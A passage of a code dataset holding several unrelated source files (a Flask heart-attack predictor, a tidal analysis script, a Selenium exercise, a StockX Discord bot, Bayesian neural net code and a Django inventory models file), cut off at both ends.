jantung.\"\n\telse:\n\t\tdiagnose3 = \"berpotensi terkena serangan jantung.\"\n\n\tif (res_100 == 0):\n\t\tdiagnose4 = \"tidak berpotensi terkena serangan jantung.\"\n\telse:\n\t\tdiagnose4 = \"berpotensi terkena serangan jantung.\"\n\n\ty_250 = medic.iloc[:250,10].values.astype('int32')\n\tx_250 = (medic.iloc[:250,0:10].values).astype('int32')\n\t(xTrain250, xTest250, yTrain250, yTest250) = train_test_split(x_250, y_250, test_size = 0.25, random_state = 42)\n\taccuracy_250 = '{:.2f}'.format(float(accuracy_score(yTest250, clf_250.predict(xTest250))))\n\n\ty_200 = medic.iloc[:200,10].values.astype('int32')\n\tx_200 = (medic.iloc[:200,0:10].values).astype('int32')\n\t(xTrain200, xTest200, yTrain200, yTest200) = train_test_split(x_200, y_200, test_size = 0.25, random_state = 42)\n\taccuracy_200 = '{:.2f}'.format(float(accuracy_score(yTest200, clf_200.predict(xTest200))))\n\n\ty_100 = medic.iloc[:100,10].values.astype('int32')\n\tx_100 = (medic.iloc[:100,0:10].values).astype('int32')\n\t(xTrain100, xTest100, yTrain100, yTest100) = train_test_split(x_100, y_100, test_size = 0.25, random_state = 42)\n\taccuracy_100 = '{:.2f}'.format(float(accuracy_score(yTest100, clf_100.predict(xTest100))))\n\n\ty = medic.iloc[:294,10].values.astype('int32')\n\tx = (medic.iloc[:294,0:10].values).astype('int32')\n\t(xTrain, xTest, yTrain, yTest) = train_test_split(x, y, test_size = 0.25, random_state = 42)\n\taccuracy = '{:.2f}'.format(float(accuracy_score(yTest, clf.predict(xTest))))\n\n\tprint(accuracy)\n\t\t\n\n\t\n\n\n\treturn render_template('base.html', result = diagnose, prob_0 = res_prob_1, prob_1 = res_prob_2, result2 = diagnose2, prob_0_2 = res_prob_250_1, prob_1_2 = res_prob_250_2\n\t\t, result3 = diagnose3, prob_0_3 = res_prob_200_1, prob_1_3 = res_prob_200_2, result4 = diagnose4, prob_0_4 = res_prob_100_1, prob_1_4 = res_prob_100_2, \n\t\tacc1 = accuracy, acc2 = accuracy_250,\n\t\tacc3 = accuracy_200, data_sample=enumerate(data_sample))\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"486831945","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 19 15:37:14 2017\n\n@author: jc3e13\n\"\"\"\n\nimport numpy as np\nimport scipy.signal as sig\nimport matplotlib.pyplot as plt\nimport load_data\nimport utide\n\n#pdd = '../processed_data'\nfsd = '../figures/tidal_analysis'\n\nK1 = 24./23.93447213\nO1 = 24./25.81933871\nS2 = 24./12.\nM2 = 24./12.4206012\nN2 = 24./12.65834751\nM22 = M2*2.\nS22 = S2*2.\nN22 = N2*2.\n\nmoorings = load_data.load_raw_data(tc_hrs=28.)\ncc, nw, ne, se, sw = moorings\nN_per_day = 96\n\n# %% Explore data\nfig, axs = plt.subplots(5, 1, sharex=True, sharey='col', figsize=(4, 7))\nfor i, m in enumerate(moorings):\n axs[i].plot(m['t'], m['z'], 'k:')\n axs[i].set_title(m['id'])\n\n# %% Fit tidal test\n# min and max\n# 734494, 734932\n# other options\n# 734535, 734581\n# 734788, 734832\n# 734870, 734926\n\nm = nw\nlev = 0\ntmin, tmax = 734494, 734932\n\nnperseg = 2**13\n\n###############################################################################\n# Convert times to 'days since epoch' (lol)\nuse = (m['t'][:, 0] > tmin) & (m['t'][:, 0] < tmax)\nt1970 = np.array(['1970-01-01'], dtype='datetime64[s]')\nte = (m['tdt64'][use, 0] - t1970).astype('f8')/86400.\nu = m['u_hi'][use, lev].filled(0.)\nv = m['v_hi'][use, lev].filled(0.)\ncoef = utide.solve(te, u, v, m['lat'], method='robust')\ntide = utide.reconstruct(te, coef)\n\ntdt = m['tdt'][use, 0]\nfig, axs = plt.subplots(3, 2, sharex=True, sharey=True)\naxs[0, 0].plot(tdt, u)\naxs[1, 0].plot(tdt, tide['u'])\naxs[2, 0].plot(tdt, u - tide['u'])\naxs[0, 1].plot(tdt, v)\naxs[1, 1].plot(tdt, tide['v'])\naxs[2, 1].plot(tdt, v - tide['v'])\n\nfig.autofmt_xdate()\n\nkwargs = {'fs': N_per_day,\n 'window': 'hann',\n 'nperseg': nperseg}\n\nf, Pu_ = sig.welch(u - tide['u'], **kwargs)\nf, Pv_ = sig.welch(v - tide['v'], **kwargs)\nf, Pu = sig.welch(u, **kwargs)\nf, Pv = sig.welch(v, **kwargs)\n\nfig, axs = plt.subplots(2, 1, sharex=True, sharey=True)\n\naxs[0].set_xlim(9e-1, 3.)\n\naxs[0].plot(f, Pu, 'C1')\naxs[0].plot(f, Pu_, 'C0')\naxs[1].plot(f, Pv, 'C1')\naxs[1].plot(f, Pv_, 'C0')\n\nfor ax in axs:\n ax.set_ylim(0., ax.get_ylim()[1])\n ax.vlines(np.abs(m['f'])*86400./(np.pi*2), *axs[1].get_ylim(), color='k', label='$f$')\n ax.vlines(K1, *axs[1].get_ylim(), color='k', linestyle='-', label='K1')\n ax.vlines(M2, *axs[1].get_ylim(), color='k', linestyle='-', label='M2')\n ax.vlines(S2, *axs[1].get_ylim(), color='k', linestyle='-', label='S2')\n ax.vlines(N2, *axs[1].get_ylim(), color='k', linestyle='-', label='N2')\n\n# %% Estimate barotropic tide as depth (weighted) average of instruments\ntmin, tmax = 734494, 734932\n\ntides = {}\n\nfor m in moorings:\n tides[m['id']] = {}\n\n use = (m['t'][:, 0] > tmin) & (m['t'][:, 0] < tmax)\n t1970 = np.array(['1970-01-01'], dtype='datetime64[s]')\n te = (m['tdt64'][use, 0] - t1970).astype('f8')/86400.\n\n for lev in range(m['N_levels']):\n print(\"Mooring {} level {}\".format(m['id'], lev))\n if (m['id'] == 'sw') and lev in [1, 2]:\n print('skipping')\n continue\n\n u = m['u_hi'][use, lev].filled(0.)\n v = m['v_hi'][use, lev].filled(0.)\n coef = utide.solve(te, u, v, m['lat'], method='robust')\n tide = utide.reconstruct(te, coef)\n\n tides[m['id']][lev] = coef\n\n\n# %%\ntmin, tmax = 734494, 734932\n\nrtides = {}\n\nfor m in moorings:\n rtides[m['id']] = {}\n\n use = (m['t'][:, 0] > tmin) & (m['t'][:, 0] < tmax)\n t1970 = np.array(['1970-01-01'], dtype='datetime64[s]')\n te = (m['tdt64'][use, 0] - t1970).astype('f8')/86400.\n\n coefs = tides[m['id']]\n\n for lev in range(m['N_levels']):\n print(\"Mooring {} level {}\".format(m['id'], lev))\n if (m['id'] == 'sw') and lev in [1, 2]:\n print('skipping')\n continue\n rtides[m['id']][lev] = utide.reconstruct(te, coefs[lev])\n\n# %%\n\ntmin, tmax = 734494, 734932\nfor m in moorings:\n\n use = (m['t'][:, 0] > tmin) & (m['t'][:, 0] < tmax)\n t1970 = np.array(['1970-01-01'], dtype='datetime64[s]')\n te = (m['tdt64'][use, 0] - t1970).astype('f8')/86400.\n\n u = np.full_like(m['u'][use, :], np.nan)\n v = np.full_like(m['v'][use, :], np.nan)\n\n for lev in range(m['N_levels']):\n print(\"Mooring {} level {}\".format(m['id'], lev))\n if (m['id'] == 'sw') and lev in [1, 2]:\n print('skipping')\n continue\n\n u[:, lev] = rtides[m['id']][lev]['u']\n v[:, lev] = rtides[m['id']][lev]['v']\n\n print(\"std u = {}\".format(np.std(u[:, lev])))\n print(\"std v = {}\".format(np.std(v[:, lev])))\n\n weight = -np.hstack((m['z'][:, 0].mean(), (np.diff(m['z'])).mean(axis=0)))\n\n u_mean = np.average(np.std(u, axis=0), weights=weight)\n v_mean = np.average(np.std(v, axis=0), weights=weight)\n\n print(\"Mooring {} DEPTH AVERAGE\".format(m['id'], lev))\n print(\"std u = {}\".format(u_mean))\n print(\"std v = {}\".format(v_mean))\n","sub_path":"scripts/tidal_analysis.py","file_name":"tidal_analysis.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"643235373","text":"import shelve\n\nimport core.evaluation as evaluation\nimport core.prediction as pred\nimport core.ranking as rank\nimport core.util as util\nimport core.training as train\n\nfrom config.config import path, file\n\n\ndef main():\n\n print(\"Start ranking for WCRobust04\")\n # Find intersecting topics\n qrel_files = [file['qrel_times'], file['qrel_robust']]\n topics = util.find_inter_top(qrel_files)\n\n topic_curr = 1\n if topics is not None:\n\n meta = shelve.open('artifact/feat/train_meta')\n\n for topic in topics:\n print(\"Processing topic \" + str(topic_curr) + \" of \" + str(len(topics)))\n\n n_feat = meta[str(topic)]\n\n model = train.train(path['train_feat'], topic, n_feat, model_type='logreg-scikit')\n\n pred.predict(model, file['feat_times_robust04'], file['score_times_robust04'])\n\n rank.rank(file['score_times_robust04'], topic, path['single_runs'])\n\n topic_curr += 1\n\n meta.close()\n\n complete_run_file = path['complete_run'] + 'wcrobust04'\n evaluation.merge_single_topics(path['single_runs'], complete_run_file)\n util.clear_path([path['single_runs'], path['train_feat']])\n\n else:\n print(\"No intersecting topics\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"replicability/wcrobust04/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"319048896","text":"#! /bin/python\nimport os, sys\nimport shutil\nimport platform\n\n# Add BuildHelper.py directory to path\nsys.path.append('../../')\n\nfrom colorizer import colorizer\nfrom BuildHelper import *\n\nsetup(ARGUMENTS)\n\ndef setupDependencies():\n\t### Set our libraries\n\tglLib = 'GL'\n\tglewLib = 'GLEW'\n\tlibPThread = 'pthread'\n\tcefLib = 'cef'\n\tcefDllWrapperLib = 'cef_dll_wrapper'\n\tangelscriptLib = 'Angelscript'\n\tboostLogLib = 'boost_log'\n\tboostLogSetupLib = 'boost_log_setup'\n\tboostDateTimeLib = 'boost_date_time'\n\tboostChronoLib = 'boost_chrono'\n\tboostThreadLib = 'boost_thread'\n\tboostWaveLib = 'boost_wave'\n\tboostRegexLib = 'boost_regex'\n\tboostProgramOptionsLib = 'boost_program_options'\n\tboostFilesystemLib = 'boost_filesystem'\n\tboostSystemLib = 'boost_system'\n\t\n\t\n\tif (isWindows):\n\t\tglLib = 'opengl32'\n\t\tglewLib = 'glew32'\n\t\tlibPThread = ''\n\t\tangelscriptLib = 'Angelscript'\n\t\tcefLib = 'libcef'\n\t\tcefDllWrapperLib = 'libcef_dll_wrapper'\n\t\tboostLogLib = 'libboost_log-vc120-mt-1_55'\n\t\tboostLogSetupLib = 'libboost_log_setup-vc120-mt-1_55'\n\t\tboostDateTimeLib = 'libboost_date_time-vc120-mt-1_55'\n\t\tboostChronoLib = 'libboost_chrono-vc120-mt-1_55'\n\t\tboostThreadLib = 'libboost_thread-vc120-mt-1_55'\n\t\tboostWaveLib = 'libboost_wave-vc120-mt-1_55'\n\t\tboostRegexLib = 'libboost_regex-vc120-mt-1_55'\n\t\tboostProgramOptionsLib = 'libboost_program_options-vc120-mt-1_55'\n\t\tboostFilesystemLib = 'libboost_filesystem-vc120-mt-1_55'\n\t\tboostSystemLib = 'libboost_system-vc120-mt-1_55'\n\n\n\t# Set our required libraries\n\tlibraries.append('glr')\n\tlibraries.append('sqlite3')\n\tlibraries.append(glLib)\n\tlibraries.append(glewLib)\n\tlibraries.append(libPThread)\n\tlibraries.append(cefLib)\n\tlibraries.append(cefDllWrapperLib)\n\tlibraries.append('sfml-system')\n\tlibraries.append('sfml-window')\n\tlibraries.append('assimp')\n\tlibraries.append('freeimage')\n\tlibraries.append(angelscriptLib)\n\tlibraries.append(boostLogLib)\n\tlibraries.append(boostLogSetupLib)\n\tlibraries.append(boostDateTimeLib)\n\tlibraries.append(boostChronoLib)\n\tlibraries.append(boostThreadLib)\n\tlibraries.append(boostWaveLib)\n\tlibraries.append(boostRegexLib)\n\tlibraries.append(boostProgramOptionsLib)\n\tlibraries.append(boostFilesystemLib)\n\tlibraries.append(boostSystemLib)\n\t\n\tif (not isWindows):\n\t\t# XInput for linux\n\t\tlibraries.append( 'Xi' )\n\t\n\t### Set our library paths\n\tlibrary_paths.append('../../' + dependenciesDirectory + 'sfml/lib')\n\tlibrary_paths.append('../../' + dependenciesDirectory + 'assimp/lib')\n\tlibrary_paths.append('../../' + dependenciesDirectory + 'boost/lib')\n\tlibrary_paths.append('../../' + dependenciesDirectory + 'freeimage/lib')\n\tlibrary_paths.append('../../' + dependenciesDirectory + 'cef3/Release')\n\n\tlibrary_paths.append('../../build')\n\tlibrary_paths.append('../../lib')\n\t#library_paths.append('../lib_d')\n\ndef setupEnvironment(env):\n\tcol = colorizer()\n\tcol.colorize(env)\n\t\n\t### Set our environment variables\n\tenv.Append( CPPFLAGS = cpp_flags )\n\tenv.Append( CPPDEFINES = cpp_defines )\n\tenv.Append( CPPPATH = cpp_paths )\n\tenv.Append( LINKFLAGS = link_flags )\n\t\n\tenv.SetOption('num_jobs', buildFlags['num_jobs'])\n\n\tif isLinux:\n\t\t# Set our runtime library locations\n\t\tenv.Append( RPATH = env.Literal(os.path.join('\\\\$$ORIGIN', '.')))\n\t\t\n\t\t# include cflags and libs for gtk+-2.0\n\t\tif (buildFlags['useCef']):\n\t\t\tenv.ParseConfig('pkg-config --cflags --libs gtk+-2.0')\n\n\n\n# Tell SCons to create our build files in the 'build' directory\nVariantDir('build', 'src', duplicate=0)\n\n# Set our source files\nsource_files = Glob('build/*.cpp')\nsource_files += Glob('build/extras/*.cpp')\n\nsetupDependencies()\n\n### Create our environment\nenv = Environment(ENV = os.environ, TOOLS = [buildFlags['compiler']])\nsetupEnvironment(env)\n\n# Tell SCons the program to build\nenv.Program('build/simple', source_files, LIBS = libraries, LIBPATH = library_paths)\n","sub_path":"samples/simple/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"14109251","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nimport math\n\ntry:\n link = 'http://suninjuly.github.io/alert_accept.html' # подставляем адрес нужной страницы\n browser = webdriver.Chrome('/Users/admin/Downloads/chromedriver') # если нужн, прописываем путь до chromedriver\n browser.get(link)\n button = browser.find_element_by_css_selector('[type=\"submit\"]').click()\n time.sleep(2)\n alert = browser.switch_to.alert\n alert.accept()\n # ищем х, вычисляем и заполняем ответом поле\n x_field = browser.find_element_by_css_selector('#input_value')\n x = int(x_field.text)\n result = str(math.log(abs(12*math.sin(int(x)))))\n answer = browser.find_element_by_css_selector('#answer')\n answer.send_keys(result)\n time.sleep(1)\n button = browser.find_element(By.XPATH, '//button[@type=\"submit\"]')\n button.click() # нажми на кнопку - получишь результат)))\n alert = browser.switch_to.alert\n print(alert.text.split(': ')[-1])\n alert.dismiss()\n time.sleep(15)\nfinally:\n # закрываем браузер после всех манипуляций\n browser.quit()","sub_path":"lesson_2_3_4_.py","file_name":"lesson_2_3_4_.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"370883804","text":"#!/usr/bin/env python\n\nimport json\nimport bson\nfrom bson.json_util import loads\nfrom bson_processing import BsonProcessing\n\n\ndef callback_internal(table, schema, data, fieldname):\n res = []\n columns=[]\n #print 'callback', schema, data\n for type_item in schema:\n if type(schema[type_item]) is dict:\n for dict_item in schema[type_item]:\n columns.append('_'.join([fieldname, dict_item]))\n elif type(schema[type_item]) is not list:\n columns.append(type_item)\n for record in data:\n values=[]\n for type_item in schema:\n if type(schema[type_item]) is dict:\n for dict_item in schema[type_item]:\n values.append(record[type_item][dict_item])\n elif type(schema[type_item]) is not list:\n values.append(str(record[type_item]))\n res.append( \"INSERT INTO {table}({columns})\\nVALUES({values});\"\\\n .format(table=table, \n columns=','.join(columns), \n values=','.join(values)))\n return res\n\n\ndef get_insert_queries(ns, schema, objdata):\n \"\"\" Get sql insert statements based on args.\n Args: \n ns -- database.collection name\n schema -- json schema\n objdata - js data\"\"\"\n\n res = []\n bt = BsonProcessing(callback_internal, res)\n collection_name = ns.split('.')[1]\n tables = {}\n bt.get_tables_structure([schema], [objdata], collection_name, \"\", tables)\n return res\n\n\ndef opinsert_callback(ns, schema, objdata):\n return get_insert_queries(ns, schema, objdata)\n\n \n\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"opinsert.py","file_name":"opinsert.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"154051194","text":"import discord\r\nimport json\r\nimport logging\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\ndef logger_setup(): \r\n logger = logging.getLogger('discord')\r\n logger.setLevel(logging.ERROR)\r\n handler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\r\n handler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\r\n logger.addHandler(handler)\r\n\r\nwith open('config.json') as json_file:\r\n json_data = json.load(json_file)\r\n\r\nheaders = { 'User-Agent': json_data['user_agent'] }\r\nparams = {\r\n 'x-algolia-agent': 'Algolia for vanilla JavaScript 3.22.1',\r\n 'x-algolia-api-key': '6bfb5abee4dcd8cea8f0ca1ca085c2b3',\r\n 'x-algolia-application-id': 'XW7SBCT9V6',\r\n}\r\n\r\nclient = discord.Client()\r\n\r\n@client.event\r\nasync def on_ready():\r\n print('{} Logged In!'.format(client.user.name))\r\n\r\n@client.event\r\nasync def on_message(message):\r\n if message.content.startswith('!stockx '):\r\n data = {\r\n \"params\": \"query={}&hitsPerPage=20&facets=*\".format(message.content.split('!stockx ')[1])\r\n }\r\n\r\n response = requests.post(url=json_data['api_url'], headers=headers, params=params, json=data)\r\n output = json.loads(response.text)\r\n try:\r\n sizes = get_size_info(output['hits'])\r\n deadstock_sold = output['hits'][0]['deadstock_sold']\r\n highest_ask = output['facets_stats']['lowest_ask']['max']\r\n highest_bid = output['hits'][0]['highest_bid']\r\n image = output['hits'][0]['media']['imageUrl']\r\n last_sale = output['hits'][0]['last_sale']\r\n lowest_ask = output['hits'][0]['lowest_ask']\r\n name = output['hits'][0]['name']\r\n # retail = output['hits'][0]['traits'][2]['value']\r\n sales_last_72 = output['hits'][0]['sales_last_72']\r\n # style = output['hits'][0]['style_id']\r\n url = 'https://stockx.com/' + output['hits'][0]['url']\r\n\r\n embed = discord.Embed(color=4500277)\r\n embed.set_thumbnail(url=image)\r\n embed.add_field(name=\"Product Name\", value=\"[{}]({})\".format(name, url), inline=False)\r\n # embed.add_field(name=\"Product Style ID\", value=\"{}\".format(style), inline=False)\r\n # embed.add_field(name=\"Retail\", value=\"${}\".format(retail), inline=False)\r\n embed.add_field(name=\"Last Sale\", value=\"${}, {}\".format(last_sale, sizes['last_sale']), inline=True)\r\n embed.add_field(name=\"Highest Bid\", value=\"${}, {}\".format(highest_bid, sizes['highest_bid_size']), inline=True)\r\n embed.add_field(name=\"Lowest Ask\", value=\"${}, {}\".format(lowest_ask, sizes['lowest_ask_size']), inline=True)\r\n embed.add_field(name=\"Highest Ask\", value=\"${}\".format(highest_ask), inline=True)\r\n embed.add_field(name=\"Units Sold in Last 72 Hrs\", value=\"{}\".format(sales_last_72), inline=True)\r\n embed.add_field(name=\"Total Units Sold\", value=\"{}\".format(deadstock_sold), inline=True)\r\n await client.send_message(message.channel, embed=embed)\r\n except IndexError:\r\n await client.send_message(message.channel, 'Error getting info from stockX.')\r\n\r\ndef get_size_info(hits):\r\n '''\r\n Takes a hits json as an input\r\n '''\r\n try:\r\n price_get = requests.get('https://stockx.com/{}'.format(hits[0]['url']))\r\n soup = BeautifulSoup(price_get.text, 'html.parser') \r\n return {\r\n 'last_sale' : soup.find('div', {'class': 'last-sale-block'}).find('span', {'class':'bid-ask-sizes'}).text,\r\n 'lowest_ask_size': soup.find('div', {'class': 'bid bid-button-b'}).find('span', {'class':'bid-ask-sizes'}).text,\r\n 'highest_bid_size': soup.find('div', {'class': 'ask ask-button-b'}).find('span', {'class':'bid-ask-sizes'}).text \r\n }\r\n except:\r\n return {\r\n 'last_sale' : '',\r\n 'lowest_ask_size': '',\r\n 'highest_bid_size': '' \r\n }\r\n\r\nif __name__ == '__main__':\r\n logger_setup()\r\n client.run(json_data['discord_token'])","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"385536278","text":"import numpy as np\nimport tensorflow as tf\n\n\"\"\"\nBayesian neural nets\n\"\"\"\n\ndef predict(X, theta, shapes = None, activation = 'relu'):\n assert shapes is not None\n if activation == 'relu':\n func = tf.nn.relu\n if activation == 'softplus':\n func = tf.nn.softplus\n if activation == 'sigmoid':\n func = tf.nn.sigmoid\n\n K = theta.get_shape().as_list()[0]\t# shape (K, dimTheta)\n X_3d = tf.tile(tf.expand_dims(X, 0), [K, 1, 1])\t# shape (K, N, dimX)\t\n # First layer\n (d_in, d_out) = shapes[0]\n W = tf.reshape(theta[:, :d_in*d_out], [K, d_in, d_out])\t# (K, d_in, d_out)\n b = tf.expand_dims(theta[:, d_in*d_out:(d_in*d_out+d_out)], 1)\t# (K, 1, d_out)\n if tf.__version__ in ['1.0.1']:\n h = tf.matmul(X_3d, W) + b\n if tf.__version__ in ['0.11.0']:\n h = tf.batch_matmul(X_3d, W) + b\n h = func(h)\t# shape (K, N, d_out)\n dim = d_in * d_out + d_out \n # Second layer\n (d_in, d_out) = shapes[1]\n W = tf.reshape(theta[:, dim:dim+d_in*d_out], [K, d_in, d_out])\t# (K, d_in, d_out)\n b = tf.expand_dims(theta[:, dim+d_in*d_out:(dim+d_in*d_out+d_out)], 1)\t# (K, 1, d_out)\n if tf.__version__ in ['1.0.1']:\n logit = tf.matmul(h, W) + b \n if tf.__version__ in ['0.11.0']:\n logit = tf.batch_matmul(h, W) + b\t# shape (K, N, dimY) \n # output the logit (prob vector before sigmoid)\n return tf.transpose(tf.squeeze(logit))\t# shape (N, K)\n\ndef evaluate(X, y, theta, shapes = None, activation = 'relu'): \n # we assume y in {0, 1} \n N, dimY = y.get_shape().as_list()\n prob = tf.nn.sigmoid(predict(X, theta, shapes, activation))\n prob = tf.reduce_mean(prob, 1, keep_dims=True)\t# shape (batch_size)\n prob = tf.clip_by_value(prob, 1e-8, 1.0 - 1e-8)\n if tf.__version__ in ['0.11.0']:\n label = tf.select(prob > 0.5*tf.ones(shape=(N,dimY)), \\\n tf.ones(shape=(N,dimY)), tf.zeros(shape=(N,dimY)))\n if tf.__version__ in ['1.0.1']:\n label = tf.where(prob > 0.5, tf.ones(shape=(N,dimY)), tf.zeros(shape=(N,dimY)))\n acc = tf.reduce_mean(tf.cast(tf.equal(label, y), tf.float32))\n llh = tf.reduce_mean(y*tf.log(prob) + (1-y)*tf.log(1 - prob))\n \n return acc, llh \n\ndef grad_bnn(X, y, theta, data_N, shapes = None):\n # use tensorflow automatic differentiation to compute the gradients\n #prob = tf.clip_by_value(predict(X, theta, shapes), 1e-8, 1.0 - 1e-8)\n logit = predict(X, theta, shapes)\n N, K = logit.get_shape().as_list()\n y_ = tf.tile(y, [1, K])\n # for tensorflow r0.11\n if tf.__version__ in ['0.11.0']:\n logprob = tf.nn.sigmoid_cross_entropy_with_logits(targets=y_, logits=logit)\n if tf.__version__ in ['1.0.1']:\n logprob = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_, logits=logit)\n logprob = -tf.reduce_mean(logprob, 0)\t# shape (K,)\n #logprob = tf.reduce_mean(tf.log(prob), 0)\t# shape (K,)\n dtheta_data = tf.gradients(logprob, theta)[0]\n # assume prior is N(0, 1)\n dtheta_prior = - theta\n\n return dtheta_data * data_N + dtheta_prior\n \n","sub_path":"meta_learning/bnn.py","file_name":"bnn.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"253058767","text":"from django.db import models\n\n# Create your models here.\n\nclass Shop_Name_List(models.Model):\n Shop_Name = models.CharField('店名',max_length=200,unique=True)\n def __str__(self):\n return self.Shop_Name\n\n#class Car_Brand_List(models.Model):\n# Car_Brand = models.CharField(max_length=100,unique=True)\n#\n# def __str__(self):\n# return self.Car_Brand\n\nclass Car_Model_List(models.Model):\n Car_Model = models.CharField('车辆型号',max_length=100,unique=True)\n #Car_Brand = models.ForeignKey(Car_Brand_List,on_delete=models.CASCADE)\n\n Amount = models.IntegerField('数量',default=0)\n\n\n def __str__(self):\n return self.Car_Model;\n\nclass Marketer_Name_List(models.Model):\n Marketer_Name = models.CharField('销售人员姓名',max_length=100,unique=True)\n\n def __str__(self):\n return self.Marketer_Name\n\nclass Reciver_Name_List(models.Model):\n Reciver_Name = models.CharField('批发收货人姓名',max_length=100,unique=True)\n\n Delay_Money = models.IntegerField('欠款',default=0)\n\n def __str__(self):\n return self.Reciver_Name\n\n\nclass Sell_Out_Record(models.Model): #车辆出售信息\n Shop_Name = models.ForeignKey(Shop_Name_List,to_field=\"Shop_Name\", on_delete=models.CASCADE,verbose_name='店铺名称') #车辆出售所属于的店铺名称\n Sell_Time = models.DateTimeField('购买时间') #车辆出售的时间\n Car_Model = models.ForeignKey(Car_Model_List,to_field=\"Car_Model\",on_delete=models.CASCADE,verbose_name='车辆型号') #车辆的型号\n Should_Pay_Price = models.IntegerField('车款',default=0) #应付车款\n #收款方式\n Ali_Pay = models.IntegerField('支付宝收款',default=0) #支付宝收款金额\n Weixin_Pay = models.IntegerField('微信收款',default=0) #微信收款金额\n Cash_Pay = models.IntegerField('现金收款',default=0) #现金收款金额\n Card_Pay = models.IntegerField('银行卡收款',default=0) #银行卡付款金额\n #购买人信息\n Customer_Name = models.CharField('顾客名称',max_length=100) #购买人姓名\n Customer_Phone_Number = models.CharField('顾客手机号码',max_length=20) #购买人电话号码\n\n #利润以及营业员\n Prof = models.IntegerField('利润',default=0)\n Marketer_Name = models.ForeignKey(Marketer_Name_List,to_field=\"Marketer_Name\",on_delete=models.CASCADE,default=0,verbose_name='销售员')\n\n #备注\n Addition = models.CharField('备注',max_length=9999,null=True,blank=True)\n\n\n def __str__(self):\n return str(self.Sell_Time);\n\n\nclass Come_In_Record(models.Model):\n Shop_Name = models.ForeignKey(Shop_Name_List,on_delete=models.CASCADE,verbose_name='店铺名称',to_field=\"Shop_Name\")\n Come_In_Date = models.DateTimeField('进货日期')\n Car_Model = models.ForeignKey(Car_Model_List,on_delete=models.CASCADE,verbose_name='车辆型号',to_field=\"Car_Model\")\n Single_Price = models.IntegerField('车辆单价',default=0)\n Amount = models.IntegerField('数量',default=0)\n\n #备注\n Addition = models.CharField('备注',max_length=9999,null=True,blank=True)\n\n\n def __str__(self):\n return str(self.Come_In_Date)\n\n\nclass Come_Out_Record(models.Model):\n Shop_Name = models.ForeignKey(Shop_Name_List,to_field=\"Shop_Name\",on_delete=models.CASCADE,verbose_name='店铺名称')\n Come_Out_Date = models.DateTimeField('批发日期')\n Reciver_Name = models.ForeignKey(Reciver_Name_List,to_field=\"Reciver_Name\",on_delete=models.CASCADE,verbose_name='批发人姓名')\n Car_Model = models.ForeignKey(Car_Model_List,to_field=\"Car_Model\",on_delete=models.CASCADE,verbose_name='车辆型号')\n Single_Price = models.IntegerField('单价',default=0)\n Amount = models.IntegerField('数量',default=0)\n\n Ali_Pay = models.IntegerField('支付宝收款',default=0)\n Weixin_Pay = models.IntegerField('微信收款',default=0)\n Cash_Pay = models.IntegerField('现金收款',default=0)\n Card_Pay = models.IntegerField('银行卡收款',default=0)\n\n #备注\n Addition = models.CharField('备注',max_length=9999,null=True,blank=True)\n\n def __str__(self):\n return str(self.Come_Out_Date)\n\nclass Delay_Return_Money(models.Model):\n Reciver_Name = models.ForeignKey(Reciver_Name_List,to_field=\"Reciver_Name\",on_delete=models.CASCADE,verbose_name='批发人姓名')\n Return_Date = models.DateTimeField('归还日期')\n\n Ali_Pay = models.IntegerField('支付宝收款',default=0)\n Weixin_Pay = models.IntegerField('微信收款',default=0)\n Cash_Pay = models.IntegerField('现金收款',default=0)\n Card_Pay = models.IntegerField('银行卡收款',default=0)\n\n #备注\n Addition = models.CharField('备注',max_length=9999,null=True,blank=True)\n\nclass Accessory_Name_List(models.Model):\n Accessory_Name = models.CharField('配件型号',max_length=9999,unique=True)\n\n Amount = models.IntegerField('数量',default=0)\n\n def __str__(self):\n return self.Accessory_Name\nclass Accessory_Come_In_Record(models.Model):\n\n '''\n new_accessory_come_in_date = forms.DateTimeField(label=\"进货时间\")\n new_accessory_name = forms.ModelChoiceField(queryset=Accessory_Name_List_List,empty_label=\"型号名称\")\n new_amount = forms.IntegerField(label=\"数量(组/个)\")\n new_addition = forms.CharField(label=\"备注\",max_length=300)\n '''\n\n Accessory_Come_In_Date = models.DateTimeField('配件进货日期')\n\n Accessory_Name = models.ForeignKey(Accessory_Name_List,on_delete=models.CASCADE,to_field=\"Accessory_Name\",verbose_name=\"配件名称\")\n\n Amount = models.IntegerField(\"数量(组/个)\")\n\n Addition = models.CharField(\"备注\",max_length=9999)\nclass Accessory_Sell_Out_Record(models.Model):\n Accessory_Sell_Out_Date = models.DateTimeField('配件卖出日期')\n Accessory_Name = models.ForeignKey(Accessory_Name_List,on_delete=models.CASCADE,to_field=\"Accessory_Name\",verbose_name=\"配件名称\")\n Amount = models.IntegerField(\"数量(组/个)\")\n\n Bind_Sell_Out_Record_Id = 